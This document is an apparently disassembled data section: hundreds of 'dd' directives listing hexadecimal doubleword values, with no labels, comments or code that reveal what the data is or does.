dd 0C3C90723h, 57495A13h, 0AC4D7017h, 6E00687Ah, 2E7F43B4h
dd 0A1AF86h, 0C8529C6Ah, 38838B49h, 0EEAB4101h, 0B181A420h
dd 0FC5DDF4h, 0CA1AA7BBh, 7B7A6320h, 0DE006709h, 1022BE73h
dd 0A5E0B3h, 0D24AC06Dh, 5D01C3DBh, 0E6722707h, 5A7342AEh
dd 101174A4h, 0E5F9F6h, 40030AFFh, 92BD2Ch, 0A0EB5B6Bh
dd 2F498DA1h, 94BED100h, 3BCF8245h, 8B71126Eh, 0C06E03B7h
dd 0EEB84CDBh, 1FEE25C1h, 69D73E00h, 2162D49Ch, 77C7528h
dd 20BF975h, 0FFB4C04Ah, 3503CDC8h, 9BE7B0DBh, 88929177h
dd 0ACE5D4h, 4F4B3952h, 3E0951B8h, 89498200h, 0F05CE62Bh
dd 0AA1700C8h, 24C2E86Eh, 2D0093FCh, 7FB89C20h, 0AE380Fh
dd 14CB6C32h, 22EC282Bh, 5D965600h, 0D052348Dh, 838C007Dh
dd 975F1EC9h, 0FD004714h, 3A0F06B7h, 0C7CFBCh, 0EA6CD53Bh
dd 4B2DB211h, 9EC0F501h, 7B024979h, 32F13180h, 46411286h
dd 5E520505h, 0A400E0CFh, 58DB9DCDh, 4528DF53h, 611844Ah
dd 0A9B99978h, 0FBF22300h, 573DF360h, 56A81D33h, 305170F7h
dd 1A80E671h, 0B01203E5h
dd 0D033F364h, 0D30E817Bh, 8256119Eh, 80F1C571h, 905F038Ch
dd 30920F67h, 80BEBF7Ah, 1E1F4F7Bh, 0C4D2ABCDh, 513A24E8h
dd 88F93280h, 834720B7h, 5A89E601h, 0B60A8D05h, 0E5D05180h
dd 1B2DB96Ah, 2AF3BD00h, 1470E289h, 46631291h, 8D51024Bh
dd 0E1807D9Eh, 0A177B4D0h, 0DC1AC600h, 1FD57FD8h, 3C41B7C1h
dd 0D7B4ECC0h, 0D0C49101h, 7F54A98Fh, 9083E4DCh, 0F3020024h
dd 273289A5h, 41006586h, 0A35FE099h, 7349AA66h, 0F6DE041Dh
dd 808D2A3Ah, 0A0F9D5F7h, 0E85F2D00h, 681C733Fh, 32FC0049h
dd 0ADF2A644h, 2602AB8Fh, 7183E882h, 427C48D2h, 7CCF77C8h
dd 58EE7CA9h, 102B0F0h, 8DB48C9Bh, 251E16C0h, 0A9384C2Ch
dd 0B6F5E300h, 0D2E804h, 18142319h, 83794D39h, 672B4Ch
dd 0E8108EC0h, 1A6DD9h, 6C20EF68h, 0C6F2D4B9h, 64972800h
dd 45E68890h, 7D7F01A9h, 56E48CADh, 5734C894h, 1255100h
dd 0E6F6176Ch, 0AE450037h, 85FA047h, 0C91D4BD6h, 7D8E8CCAh
dd 307EA084h, 75E92E10h, 68141250h, 0F5180070h, 4C6AFF2Bh
dd 0EBDD9E00h, 0D4C6C4CBh, 171D98B7h, 541FABh, 5027F77Ch
dd 0F6F2708Fh, 5F0EBF00h, 1BC0DCEBh, 99F13E17h, 0C6CAF080h
dd 33773ED0h, 0D0D3C92h, 388E3679h, 2564DF4h, 0F9FC131Eh
dd 6C407C18h, 89396E86h, 0DCAE006Ch, 0D1A5568Bh, 0FD770F1Fh
dd 91003B07h, 0FB68EC1h, 11ADC712h, 59727443h, 0C0B4EAh
dd 0C0678D10h, 31813D51h, 6D003E75h, 415A568Ah, 1BD29Eh
dd 273FBCBAh, 70DDC59Dh, 65104D13h, 0FC3A050Fh, 0B46F5581h
dd 91E4EC95h, 84ED00FEh, 4ED7A842h, 0A700B1BFh, 43F6B89h
dd 2C5F5BC1h, 2A048h, 0B4CF47D7h, 6126404Fh, 31E9C2Ah
dd 6789440h, 138E1C71h, 20C7F44Ah, 0AC2BAE78h, 0B582E76h
dd 0D0C300EBh, 60E3BF44h, 384A1810h, 834F3881h, 9D8E1338h
dd 0C0806FDFh, 0CA90ACB2h, 4B5D0C69h, 0CF280A3Ah, 21052300h
dd 1D932603h, 541103A4h, 0A07FD2AEh, 91831100h, 0A27E97A7h
dd 6A7FDEh, 4A463A5Fh, 693256B1h, 0F4EF1A00h, 27E9F1C2h
dd 0A3C93928h, 0F3160EFCh, 1227070Dh, 0CF3BD0E6h, 0BA48A8FBh
dd 258800C7h, 8D384278h, 0E58A0044h, 0D5599C9Eh, 0FB0051F0h
dd 4E8153DCh, 0B8EF5DF5h, 0E0C8547Ch, 12BF0719h, 0C2B2787Fh
dd 14481C63h, 527803AAh, 889D5630h, 0BADF0h, 0A2A5AE5Ch
dd 9AA75B8Ah, 0D8EEBE30h, 3C82C4A8h, 170096C9h, 39DED0FDh
dd 0F40E7881h, 38D1E3ACh, 6A22078h, 0CCD50136h, 0C4005859h
dd 2C48E330h, 9ABD0712h, 1AED09C8h, 4700A134h, 478AFF2Ah
dd 8D265B70h, 76007CD6h, 172137FEh, 0F296006Dh, 22DAB6B9h
dd 580097CAh, 5CA07E30h, 0B0C1B4Fh, 6C85A921h, 0E6F38055h
dd 169D65B3h, 1826BAh, 2E8160ECh, 980C90B7h, 19F01CCFh
dd 7DC20416h, 902D3124h, 1358B7D4h, 0AB737773h, 0FD117903h
dd 8016EFB3h, 5A3B606h, 54336A14h, 388780FFh, 46067AE6h
dd 10BBE22Bh, 5E8F0FF0h, 3340D982h, 680DDC3Ah, 4CB338h
dd 0FE6C3B5Dh, 50DF35C8h, 0C5AC19h, 10A69453h, 1EF7F31Ch
dd 3CE70201h, 67DF2176h, 78E93C20h, 0E3263F2Dh, 485710E6h
dd 2F15D201h, 870B91F4h, 3EF9920h, 29195D8Eh, 37F8C6D0h
dd 0B5702D38h, 0A4164828h, 950E7E00h, 824F4AF8h, 0D5DB005Eh
dd 0EB1C49BDh, 7907BA04h, 6BE3FD0Dh, 0B1140110h, 634B007Fh
dd 6EC65F95h, 0F7B050Ch, 1E57A130h, 9EE5CAEh, 4D54B43Eh
dd 0B2BB2C20h, 0FC006C41h, 0B76245A0h, 940472h, 0CBE903A7h
dd 771078B4h, 0B900D892h, 5A54F737h, 797AEA0h, 4B75E1F2h
dd 593A406Eh, 0C5006C8Dh, 7693EF87h, 1AC350Ah, 716809C9h
dd 0FDAF960Dh, 0EC20C0C2h, 222AAE03h, 90F2B29Eh, 0CDF07Fh
dd 8D619604h, 0FE7CA193h, 0E7EBB303h, 9898E2ABh, 486D3178h
dd 92002F23h, 7DB3F165h, 2003CBB5h, 0C3DA24Eh, 3A52C0D8h
dd 80C16449h, 0DAC90E1h, 700014B4h, 835355FEh, 0CB6D50h
dd 0FC64E19Ch, 67F8C0B3h, 0F3A6D000h, 0D7CE6B9h, 0B80FFAABh
dd 621400B8h, 0B02F4799h, 6B03958Fh, 76C7DDF6h, 616100E2h
dd 0ECF8DB7Ch, 94015480h, 505613CCh, 9864A0E3h, 48DB5D39h
dd 0C2740079h, 0CCAC5647h, 0E948AAFBh, 18C078B4h, 6F75F322h
dd 29BB03A0h, 7739F950h, 0D9EFDFC0h, 504D8737h, 0F2BB8081h
dd 0F2C70A0h, 3059C8EFh, 355AD81h, 0BC40C2A8h, 0EE602B6Ch
dd 5EE3E7A9h, 0EF1EEA3h, 0DBFB903Ch, 0C1FF9525h, 402FF21Fh
dd 75602558h, 98F9C383h, 7470E380h, 0F3680092h, 44F6A02Ch
dd 0C800AAE8h, 4C32E4A8h, 38CFD8h, 8AD6D0C7h, 0F28D29F1h
dd 1160F494h, 0CC331Ch, 908F8E45h, 849ACB73h, 9F281600h
dd 0A6FB08B9h, 0A8B0096h, 24397A02h, 0DD1EBA66h, 9E3F720Fh
dd 99004919h, 0BEAEEFF5h, 0B5C43B9Ah, 9CAA6800h, 0BADDDC8Eh
dd 79A24800h, 0AF9ADBD6h, 3D83008Dh, 4B71AAAEh, 0DF00E2EEh
dd 7CE11F93h, 0E796FAh, 81F68C8Dh, 9F776647h, 8459082Ah
dd 0BCBC953Dh, 5851006Fh, 81F393E1h, 0D89A12FCh, 680020F8h
dd 0C400EF7Bh, 0CB6914E9h, 306725FBh, 2C20839Dh, 0A00E4F36h
dd 0E0E2599Eh, 41955F74h, 0E697002Eh, 5780A854h, 0F304210h
dd 0C9E179A1h, 0FD7CFCh, 6ED7F17Eh, 0ED5DA8F6h, 27EA7400h
dd 0F0675E55h, 92CD0078h, 0D1F825E4h, 892C46B7h, 3D02C3h
dd 704D3E80h, 759B6BD6h, 23DA0058h, 9A6975FFh, 0E7615A5Eh
dd 2F2035C1h, 9710682Dh, 0BE0900E0h, 813C9A59h, 0EB0A007Dh
dd 0F3ABB516h, 71002864h, 416552DDh, 0F21F1h, 0A7BC5AFCh
dd 0CB1470C8h, 6DC23300h, 0E7BDD0Ch, 55840052h, 0A7503DBAh
dd 9A688030h, 86570411h, 1039A05Eh, 0ED77E200h, 0C15202A8h
dd 0BC7D43h, 12338CC9h, 39375D7Bh, 0E1559806h, 2029ECA8h
dd 67753DC5h, 737C4200h, 916CB58Bh, 56DB04DDh, 80C929B7h
dd 3B867FC0h, 0D3005976h, 0C8502622h, 72FA95h, 2A0F433Dh
dd 0FF01B5A3h, 241B3Ah, 2C3ACE83h, 4A3B90h, 0B2CDF89Ah
dd 0BE9CF8Dh, 45E35700h, 0CB41B5FEh, 0D6261C07h, 5A7801EDh
dd 60C5FF40h, 300C8ADh, 790DF62Dh, 0D63DE9h, 0B80BEA99h
dd 5A8623F5h, 3A8F9A00h, 24A34484h, 0AD2C01A0h, 0C5F8FBF1h
dd 8FE44057h, 27E9477h, 80450E3Ch, 0BE92AFBFh, 603D4AECh
dd 558BD8C5h, 371C6749h, 4E45D0B7h, 0B0003C16h, 0AA2456ACh
dd 0BB4D1FBFh, 61DF65h, 5A2E2666h, 0E9000BDBh, 0B58D6CE7h
dd 8050D5h, 13D5710h, 4EC1A097h, 247B4300h, 0CA4793E5h
dd 13360329h, 78491BBCh, 45F16A00h, 560950D1h, 8E590BC5h
dd 92809084h, 0EA6A39FAh, 916BA100h, 94E6CD63h, 0FDF700B4h
dd 43ECC43Dh, 4900698Bh, 3928E8DBh, 1D351E9Eh, 520AF6h
dd 5EEDAD15h, 8E125842h, 18007B64h, 0AA43568Ah, 37EA59h
dd 0E035282Eh, 0D123FE44h, 10CE7400h, 0ADBFE502h, 9140080h
dd 0E08871A9h, 4E07BD1Dh, 0EA130BAEh, 7B5904E0h, 73460078h
dd 25FA8E7Ch, 0F0005C4Fh, 974C5233h, 38D710Ch, 0DFFFD20Dh
dd 3ECF443Eh, 62302A1h, 0B1020C5h, 7F4ED300h, 0CA0328F5h
dd 5F6100C7h, 9C8E2214h, 66010740h, 2049785h, 0ADF9E96Bh
dd 26AB806Eh, 380135ACh, 54401EA5h, 0DEC878BAh, 75EF001Fh
dd 0C21A06ADh, 47003C88h, 38A1572Eh, 275F24DCh, 0C2E1218Dh
dd 39C5DCA8h, 342B5502h, 0E0F943E3h, 0C03503Ah, 1B02A54h
dd 83009178h, 472C58EBh
dd 67CA1312h, 57CC1803h, 0D43A5018h, 0AF01A453h, 0ECC287DFh
dd 3ED45F6Dh, 0E8CC607Eh, 56FF370h, 0C0F04A5Ah, 6A3100EAh
dd 0D1CB4EE2h, 0A202AFC1h, 0E7E5862Ah, 43E8403Ah, 0B1F5009Fh
dd 0E9782FB5h, 0A0011445h, 6C651C7Eh, 0CFE83D9Dh, 9FC5005Ch
dd 0AACA8B3Eh, 70038F93h, 94EA0C84h, 0E81000ABh, 0DA31B4B8h
dd 2A13F2EEh, 20407647h, 0A8E5BC5h, 0F3720045h, 9CF02D1h
dd 0EE0E159Dh, 29923C70h, 5306805Bh, 0DFA1EDh, 7B9FA769h
dd 0E1F05545h, 0C8C78F0Ch, 0D91174h, 229C2063h, 4D0AA878h
dd 6FCB2B00h, 59052C3Dh, 58350133h, 60B1D7F2h, 0CFF72076h
dd 1E1BD009h, 19B80056h, 13459D55h, 9E403h, 3BB1EE00h
dd 5800AF7Ah, 57247897h, 4F27F2h, 5AA83821h, 6CAA827Dh
dd 18EC8B0Ah, 0D71D9022h, 0B500A192h, 49FAE820h, 611F0015h
dd 1BD28A6Ch, 9A005EB4h, 0F03C982Dh, 87998Fh, 539DD6A5h
dd 78136B7Bh, 6E1CC8EAh, 9EC7F291h, 791027F6h, 0FBD30A9h
dd 0B0AB1D8Fh, 437AEC85h, 0E2DA02D8h, 0F9812BD8h, 0FB00E6E4h
dd 0A75D11EAh, 754CE053h, 9F11C17h, 8685C75Fh, 0F7519039h
dd 0A600A32Dh, 0F8941B60h, 1470BC9h, 252CF585h, 0E0CAF040h
dd 0C301BF20h, 0BBE3B08Fh, 7020A45Ch, 98228C0h, 0B69000A5h
dd 60362369h, 80A0525Fh, 0DA002BDDh, 29F5A07Eh, 668882h
dd 0F6708117h, 5667B605h, 0E711F226h, 8E13DB07h, 809E04F2h
dd 54D10DD8h, 2EDF0369h, 9C22C801h, 1ED21801h, 81A18B0Ch
dd 0C1B430h, 60BE3A26h, 8D351FF7h, 9A3C4400h, 376F52CEh
dd 67720ED6h, 88C00CF8h, 16B31114h, 448A6600h, 0FF516A63h
dd 49209877h, 9203F880h, 3809F9F2h, 0FE745AA8h, 521FA61Fh
dd 0F440AAC0h, 0E2B934h, 0CA6F7F1Dh, 515A55EBh, 0DB000579h
dd 0B047DDD9h, 78E49Bh, 3A7EDE2Ch, 0AAF7607h, 75D63800h
dd 5B171FA0h, 8C9C0049h, 1C91E127h, 0C1387389h, 477700DFh
dd 0C7E4AD81h, 4DD20053h, 11F9E5ECh, 84E2E27Bh, 0CCD4C000h
dd 2C4C262Ah, 80E30330h, 0FAFDAF72h, 97B977F8h, 6DE9291Ch
dd 0D9230380h, 7AD0ACC7h, 9E7B0B14h, 0E02E9D5Ch, 0C5B76DE0h
dd 0F0004AB5h, 6A85A1CFh, 0AD7C70h, 0F84D22C4h, 60476D9Ch
dd 4BC39314h, 993CECh, 0C966BCB2h, 1D2FB117h, 400BEE9Ah
dd 0A973E58Fh, 7A063EE7h, 0ED35BF5Ch, 2B161D98h, 0C16A9E92h
dd 9B5DC789h, 4FBAEC1Eh, 0AB53DC00h, 0F0987709h, 0C05B1C83h
dd 9F342E80h, 0BF7DC0FBh, 0BDCE9970h, 22190874h, 0BE20273Ch
dd 341B18BCh, 20001192h, 248897CBh, 60FA06AEh, 0BAF712F2h
dd 0C27E403Ch, 0B856861Eh, 113F440Ch, 0B49000F8h, 0F9FB187Eh
dd 8307EA7Dh, 0CEBE96Fh, 391986C0h, 0F430F9F8h, 0A93013Dh
dd 7AC1C220h, 83A98206h, 0B0EF96E9h, 0A1FA3960h, 0C100FB1Ch
dd 5006449h, 60DD93A7h, 736F684h, 81CBB654h, 0CCD7E04Ah
dd 7F003BAAh, 435DBB79h, 38D066C3h, 8E00E785h, 0DBD2D6E1h
dd 54002651h, 11C7658Ah, 0A400422h, 5CCD3DECh, 0BEDA004Ch
dd 0D183F73Fh, 0B3399638h, 1DE0878h, 3FCDC521h, 0D154E32Eh
dd 3062E836h, 0FE814600h, 3BA21A51h, 0F3C73FE9h, 0E230A57Dh
dd 0E4183CD6h, 0C9B618B9h, 0E8FE5028h, 690CD490h, 5880F7C1h
dd 55B53A47h, 30A6206Bh, 76F6DEC8h, 0EDD0A0ABh, 0E906C5BDh
dd 0C13920FAh, 318B6009h, 0ADBD05DAh, 0CC8E39h, 0DFBE2D92h
dd 605D7B15h, 1314B10Dh, 0B34CC938h, 7C3E30h, 0BD976C2Eh
dd 0C13F9466h, 1BBFC780h, 8898BA9Dh, 32357506h, 0F2309590h
dd 0E9BE11BDh, 0BFB588E2h, 9703EA39h, 0F7A8B6F9h, 0F9E5A6A1h
dd 0BE42FC57h, 0E4D7D528h, 0DE2F371Dh, 50589A81h, 0B02B97EAh
dd 60005AD6h, 57161AB5h, 0DFD29Eh, 0C30D6232h, 61041CF4h
dd 3017F90h, 8254CF7Dh, 46D860FBh, 49C300B5h, 0B9A2EEF7h
dd 790031F3h, 5D1D990Ah, 55F44Ch, 7D6CEDB5h, 20651AA1h
dd 0A5921800h, 0BCE1B32h, 87A300ACh, 386DAB25h, 3300DC1Ah
dd 3F9EEBB4h, 77124h, 160590B6h, 6281345Fh, 96BD1900h
dd 0CFA15953h, 82C61EB0h, 455C005Dh, 0DC9DF815h, 62799BF2h
dd 0B008D74h, 0C20C7072h, 7EB3874h, 54C70696h, 91654012h
dd 0C00766B0h, 8C35A746h, 0A624740h, 0FA5F00B4h, 8AA802A5h
dd 45EECE8Dh, 0DB3C8400h, 3D8710A1h, 0F81403EBh, 0EC314077h
dd 0CD2BFBB8h, 0A7DB500h, 8D8845FEh, 530C3A57h, 0DFE56063h
dd 0F8A0800h, 93CF593Bh, 0E2350096h, 57072C5Ch, 0FF0CE91Ch
dd 78FBBD2Eh, 30D06C80h, 8CC9840h, 1B2D10E1h, 590397C0h
dd 57A6D3E0h, 44FA107Ch, 0AC186F63h, 0B210086h, 0BF17B07Ah
dd 4FB8A5AEh, 0B26B4A18h, 0C395D550h, 0C696DB61h, 4A748688h
dd 6C69CB00h, 0FF9D2E14h, 600C3882h, 8C3B59E2h, 621C500h
dd 0E52D0039h, 66449F42h, 7519238Eh, 32C0ED33h, 806A2880h
dd 0F76CD727h, 0AD96CD1Bh, 9D0EA148h, 7AA2C18Ch, 1A1D29E9h
dd 0D60037EBh, 316AF099h, 0CC803F76h, 3947A961h, 639BDD1h
dd 0F13ED2C6h, 1871910h, 0FFD51952h, 0B1273100h, 389B10B9h
dd 0A291C6CAh, 4007294Eh, 74D99814h, 7C4C806Fh, 11230EAh
dd 2A1C3D4Eh, 0FAFB2557h, 0A6D16483h, 0F295902h, 0A543DE3Ah
dd 0A8709FB8h, 58115C2h, 0FD36B811h, 5B5D8069h, 45054D01h
dd 0B4989085h, 6158A84Ch, 0EB3500AFh, 76F97481h, 960002FBh
dd 0E41BB55Ch, 0C21C3h, 70292D19h, 0F2A253Eh, 0CC72A50Ch
dd 88FD4961h, 12004FD8h, 0F834EE5Bh, 905103Ah, 8CD4BAE8h
dd 0A3A62410h, 81A2CD01h, 2D9B2F77h, 0A4A23102h, 9E244DCFh
dd 0A573890h, 0EB7C8888h, 5F6212F0h, 0A080E511h, 0F7587DC8h
dd 28F200CEh, 60BF1B72h, 0E806E44Fh, 3561DB34h, 3F0C1561h
dd 2AC098A8h, 0F4803875h, 62D68700h, 98BEA49Dh, 0C329047Bh
dd 70025441h, 77AFDB3h, 88D71731h, 0EA6E9075h, 0C706ECE3h
dd 0AED844D2h, 68015071h, 903281E2h, 85880819h, 993CA20Ch
dd 6B4B00C2h, 2BAB9378h, 6D033456h, 2E73886Ah, 300A6CE9h
dd 0C1CE91AEh, 399F8ACh, 8478032Fh, 99B1D9FDh, 68150FEBh
dd 1948BE5h, 23AB9BADh, 7991281Bh, 414F0002h, 1D718D5h
dd 865601A5h, 1BB9D8B5h, 8F46DC2Eh, 8026F26h, 94D563h
dd 3BF28E81h, 38B49E5Bh, 6DEEAB02h, 812DA979h, 87AFA6DCh
dd 0EA69A180h, 6024CC4Dh, 18912E04h, 6880291Ah, 31254342h
dd 31282A16h, 5AD8918Ch, 0D80FCC00h, 297E6C95h, 27211F00h
dd 1BD61170h, 68166313h, 0A47BD5h, 3298F535h, 0D15500EDh
dd 0BF9C7A94h, 0DC018AC3h, 0D0F8E281h, 0F89E1C33h, 6CF6802Dh
dd 534EB00Ah, 1122BC90h, 5E44818Eh, 0C663F210h, 16FD2200h
dd 2C95DD09h, 0EB0A033Bh, 421D4BBh, 8F68A2A7h, 0F380F890h
dd 47997861h, 0C45082E7h, 370EA01h, 6F8B6CECh, 78764FEEh
dd 4D80AD88h, 85CCC0CBh, 0BCA4D751h, 81426490h, 0DBB18878h
dd 0B65ADE06h, 0E029B4E6h, 0CD2D8887h, 4807E503h, 0A303A8A9h
dd 1413C2Ch, 0D200A140h, 5EE6D167h, 496A0Bh, 0F5A4B585h
dd 0BBA224FDh, 24EFC07Bh, 50887E2Ch, 30E85801h, 79DB600h
dd 0B1740F8h, 0FE8721C3h, 0A6A10B74h, 300E6F47h, 58442CB1h
dd 80862488h, 3023F06Ah, 0C613C7D1h, 0B421CAC9h, 0A610750Ch
dd 0F20308DBh, 2A4A57A4h, 30E1002Dh, 32E29E24h, 0D90C21DFh
dd 58AB749Bh, 8C362A9Ch, 12824288h, 18BDBh, 2A50BCADh
dd 52DC81A0h, 7F06B4A5h
dd 1197AE33h, 3E043200h, 0A96DC270h, 99490085h, 2E40C911h
dd 0AD31C0EFh, 0F2B1C983h, 73D8CBF0h, 6F3E266Eh, 72ECE098h
dd 0A400ED68h, 49B111A0h, 5376484Ah, 570AFC1Dh, 408C8116h
dd 9062C52Bh, 472D360Fh, 3BFEE708h, 595292C0h, 93D27C4Eh
dd 30AA8008h, 1CF9D7BAh, 188C4A2Ch, 62006868h, 3137A59h
dd 0DD72026Fh, 5E8BC814h, 0E8751B60h, 358068A8h, 0DC4F21Dh
dd 18A0BB95h, 0B44996D5h, 1272ADh, 0E017748Eh, 6D4FF735h
dd 0EC34BF00h, 4C6536D2h, 0D8484985h, 63398C30h, 511F0A28h
dd 0F0268F52h, 16DD178h, 0FE07BB35h, 7E6FC032h, 18D1DF0h
dd 0D6A9F10h, 0B0879590h, 71C5F948h, 0C9A2ED4h, 0A3E18A88h
dd 801088A8h, 95B3F040h, 2DBF07C5h, 0C98A0A96h, 6703D4B1h
dd 0C0984848h, 0DB3F36Dh, 7A30F2Ch, 0D2A02B12h, 0E5E3221Dh
dd 7524AEE0h, 0E88A486Dh, 602C8DFFh, 7C8AC040h, 0D1A0309h
dd 28484B51h, 338637A0h, 48882C48h, 70AACD20h, 0D67CF433h
dd 1FBC00C9h, 779765D5h, 82803A48h, 64E748E1h, 0CC5F09F8h
dd 68CFE28h, 1300C021h, 0AECDD09Eh, 726F84C1h, 0B88D4D2Ah
dd 8A9D1680h, 7F0983C5h, 5FABD7Ch, 0C1C1067Ah, 0D44162ADh
dd 998E90D5h, 5600EDA9h, 71BA6310h, 0FB4DE54h, 6848F942h
dd 9F5CA622h, 880184C4h, 8B74B854h, 93D5E118h, 91F211h
dd 0D776AA31h, 904E424Fh, 39B0FB31h, 961392CDh, 84E025B5h
dd 0DC3811DCh, 79003B22h, 0F0D34145h, 4FEC0Bh, 0C45B9AFEh
dd 1B56BB6Eh, 0D8B048F1h, 0F32B770Bh, 877491BFh, 6D507E10h
dd 8E08EE00h, 2E522BCFh, 0A4A84D14h, 107B2887h, 4341D54Fh
dd 79C13600h, 16DD2737h, 605A020Eh, 464E3BDAh, 0E8BC30h
dd 0AA408BF7h, 39734F5Ah, 45E05D16h, 408CE472h, 14B769C3h
dd 0A402962Ch, 9C46CBC8h, 66090C9h, 39472C5Dh, 77F92909h
dd 79447CBCh, 418F65D5h, 0A19DC012h, 0E6743E65h, 0A44520D6h
dd 0D4208C32h, 82830957h, 609198BAh, 188062F9h, 7A2951ACh
dd 0B0A5248Fh, 0FEB20301h, 1CDBB78h, 0CC9AE0C2h, 80CC28F0h
dd 5CDD9B03h, 0D3B00323h, 0EBBD63CDh, 99E5E118h, 3A701BD1h
dd 8C010FF9h, 1913126Dh, 7063D1CEh, 9B0B9040h, 14EC7EEAh
dd 73A230A8h, 533C8469h, 0F4AF2E01h, 1B7DCFDFh, 220F4C64h
dd 80248CC4h, 24402CCEh, 0CD572C7h, 9E2947F2h, 4891CFF1h
dd 0CBC84490h, 7957E6h, 3FB15FEDh, 0CCD65E12h, 0B5716D01h
dd 887448DAh, 0E97DFC63h, 0D5250436h, 0DACF0023h, 0CBB4F6F8h
dd 57B2400h, 0EF236044h, 0E89C480h, 982D4998h, 0D6AEFCh
dd 671DA027h, 0A8E70499h, 112CA701h, 47FAC0CAh, 888ED434h
dd 1A00A4D8h, 4B21A2CDh, 281D63DCh, 78D5C8h, 20E26C2Eh
dd 21B14E8Fh, 43255B01h, 5E3B1B18h, 6A0C20h, 0EB16DCF7h
dd 0D6E630B9h, 4A40565Dh, 0F3C98C20h, 0E5260EAAh, 79F9718h
dd 63A34D75h, 0D11023C3h, 0CD808505h, 0FC41D499h, 0B2C8C4Dh
dd 85D0547h, 2069A034h, 2057E2C4h, 0C48355B0h, 0BC4AFF4h
dd 0AA4B7BFAh, 0E047D010h, 64618360h, 42FDA2h, 772BD614h
dd 43F0B15Eh, 0DD96E400h, 292A0B74h, 30DA0515h, 88D33912h
dd 0A8403DC0h, 38FC0067h, 4208DD41h, 5F07B0C1h, 0F94C2044h
dd 0F33B94h, 4B0D390Ah, 9150B184h, 8B58602Dh, 0F3D51D88h
dd 1A61064h, 0C2A40F29h, 809AE2A9h, 0D624CEB1h, 8523Fh
dd 0FF20DA18h, 0AA4D7340h, 984C697Dh, 0AFC0DDACh, 0B71E5379h
dd 6FEA03FBh, 43265821h, 8078A2A9h, 0A12D4889h, 17B5F90h
dd 927EE070h, 5C4A8034h, 40008CDCh, 0D2CC242h, 1C615503h
dd 883C6E05h, 4701EFD3h, 18EAAE70h, 67CDC160h, 8B3A89A4h
dd 2C35BCA0h, 0D612E130h, 2C22D413h, 0CC63E039h, 9D180089h
dd 0A291F1E4h, 5324E312h, 808420A1h, 0BC8C83D2h, 40FC9997h
dd 0A69A2534h, 2DF13600h, 0EDD98B7Fh, 11A20250h, 62475D77h
dd 0DE762BE0h, 9653EB39h, 4844AA5Ch, 0D8B60187h, 0C8A1058h
dd 6C864BF4h, 5CF079A5h, 0CFCABC07h, 12B9E578h, 7C74600Ch
dd 79A9C488h, 0A4202499h, 0FEFB55h, 750FA127h, 8211E4BDh
dd 0FD428F09h, 9C140548h, 44314448h, 0C830563Eh, 3A49E0h
dd 91EC626Ch, 0B6E357Ah, 9C872E00h, 0A5203CF5h, 26C9AEFh
dd 39389B0Dh, 0FC4A42F7h, 320C1C61h, 0F4800958h, 0A40E48Bh
dd 6F22153Bh, 34358B84h, 40876424h, 2526E849h, 0D103029Fh
dd 0A81939FFh, 74AC7490h, 0F2F86700h, 0C828DC56h, 874804C0h
dd 0C2521ABCh, 47209378h, 0E68E77h, 0E30A53B8h, 73AE224Ah
dd 0E544450h, 0D73C8B42h, 97771EC2h, 806844CFh, 0A6CBF27h
dd 8BC4109Fh, 0A8362A2Ah, 4700F494h, 9F40966Ah, 0C680095Bh
dd 0FCCC8879h, 27308100h, 0ADB0E959h, 2ECA0EA9h, 106041F1h
dd 0C5897794h, 0F94BF4A4h, 0A48CE064h, 5EB81321h, 7EF000A0h
dd 0D8DD6E4Fh, 41C8551h, 0F8ECC714h, 0D8722D96h, 90B4CE08h
dd 3C8944ECh, 5EFA9501h, 2FD13FC8h, 27D98A60h, 94304454h
dd 770056BFh, 5A01DE73h, 0E74E03h, 0D2DDC28h, 81C7B787h
dd 4C371728h, 248F6B27h, 88409D64h, 4B92FD11h, 89C61700h
dd 8581731Dh, 3DB00404h, 4074A2B3h, 5107B283h, 0D15E091Bh
dd 0D0A2AEE7h, 70591157h, 0E0E30D05h, 287BD401h, 9033F13Fh
dd 0DC3C9851h, 0CFC5D7A0h, 0AB7BE600h, 0FEE90117h, 48D4B098h
dd 9AC8B479h, 1600714Fh, 88DC4F74h, 701E802Fh, 8B54C2BCh
dd 0F1058F38h, 9CCBC45Ch, 30588866h, 4EFA0A69h, 0D0A0900Eh
dd 82A4F848h, 2F5C0D57h, 0A836899Dh, 0B0590838h, 0F0D47C09h
dd 0CC2C014Dh, 0A8243625h, 74288886h, 1894C271h, 0CB7F3104h
dd 94ACC0A4h, 0F1D480B4h, 78B642D1h, 6102F511h, 0C5240A28h
dd 4ACD12B0h, 70E5ACh, 410923DAh, 9D40C27Eh, 0CC0A5257h
dd 20A93213h, 45A1BBA4h, 9C0013E0h, 1F0FC321h, 0EC22673h
dd 0B0C618BEh, 8108F9F8h, 84A8138Ah, 6A08B0B6h, 0F88073A2h
dd 9F104020h, 0CC950152h, 53BF9ECh, 0C021964Ch, 8CAC78D1h
dd 214D598Fh, 0A63DDEA1h, 82D0914Eh, 6C00503Eh, 0E33B2BDFh
dd 0A09444C3h, 76078411h, 0AFBF72h, 24C7FC10h, 0F9041731h
dd 3014800Fh, 0E8D520C0h, 4D11F713h, 0CE7B7461h, 2724730h
dd 0D77786FCh, 4F3984Ah, 0A0BD7400h, 2289E8B6h, 10F94DF6h
dd 653FB3Ah, 28175779h, 9A44792Ah, 3D737BFAh, 5100D5B5h
dd 0CC29E9B8h, 82E44178h, 481A8729h, 704C0E80h, 7AEECFC6h
dd 4DB326CEh, 40984410h, 91723665h, 1C400D3h, 6BA3943Bh
dd 9C009082h, 6CEA4628h, 90E051F3h, 93389B20h, 0A29C3436h
dd 0BB491C88h, 3F009D9Dh, 2097E794h, 30A65BC4h, 6B742A6Ch
dd 0B154B000h, 3DC3272h, 733A004Ah, 0A97EEC8Bh, 944E0692h
dd 54840824h, 30034CB6h, 401913D3h, 20EA4EE0h, 2B3A4F00h
dd 3506BE28h, 7BBCAC88h, 1B9304D6h, 0B495599Ch, 0A6887550h
dd 0ACCD0298h, 92579040h, 6A0BB06Ch, 8CA0DF80h, 0DD1116h
dd 9F6B4CDh, 7F495CE7h, 0A34490BEh, 440568E4h, 7444A283h
dd 14A7022h, 0F9C90986h, 65A8EE4Dh, 94F427A8h, 28D0D290h
dd 49CA2Eh, 64594B40h, 0EE9E55E0h, 2AC1DCEBh, 0AE54B302h
dd 6BE28A95h, 0D861A5ACh, 1878F97Fh, 0ABA214A0h, 4BE73D01h
dd 9308F0F8h, 5A0730F2h, 6A1B900Bh, 754CC74h, 0D2CA1EDBh
dd 5188E032h, 4F023E33h, 84D9F0B5h, 5B885858h, 86A43235h
dd 0E8CA9120h, 0A39B0171h
dd 0C1AEDBA0h, 50068F9h, 2A9312A6h, 4C1D98F7h, 4AEB00CBh
